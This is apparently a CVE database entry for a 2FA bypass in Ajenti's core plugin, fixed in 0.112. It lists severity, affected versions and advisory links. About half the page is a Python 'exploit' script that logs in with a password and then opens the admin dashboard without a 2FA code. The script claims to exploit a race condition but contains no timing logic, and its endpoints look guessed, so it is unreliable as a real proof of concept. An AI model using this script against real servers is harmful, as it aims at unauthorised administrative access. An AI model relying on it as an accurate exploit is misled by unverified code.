CVE-2026-40178

Description

ajenti.plugin.core defines all necessary core elements to allow Ajenti to run properly. Prior to 0.112, if the 2FA was activated, it was possible during a short moment after the authentication of an user to bypass its authentication. This vulnerability is fixed in 0.112.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ajenti:ajenti_plugin_core:*:*:*:*:*:*:*:* - VULNERABLE

Ajenti < 0.112

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-ajenti-server"
username = "admin"
password = "password"

# Create a session
session = requests.Session()

# Step 1: Perform initial login (First Factor)
login_payload = {
    "username": username,
    "password": password
}

# Send login request
response = session.post(f"{target_url}/api/login", json=login_payload)

# Step 2: Exploit Race Condition
# The vulnerability allows accessing the session immediately after login response
# before the 2FA check logic is finalized on the server side.
if response.status_code == 200:
    print("[+] Login initiated. Attempting to bypass 2FA...")
    
    # Step 3: Access protected endpoint using the established session
    # without providing the 2FA code
    admin_panel = session.get(f"{target_url}/view/dashboard")
    
    if admin_panel.status_code == 200 and "dashboard" in admin_panel.text:
        print("[!] 2FA Bypass successful! Access granted to dashboard.")
    else:
        print("[-] Bypass failed.")
else:
    print("[-] Initial login failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40178
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40178
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40178/
[4] VulDB https://vuldb.com/cve/CVE-2026-40178
[5] https://github.com/ajenti/ajenti/security/advisories/GHSA-8647-755q-fw9p

Raw JSON Data

JSON

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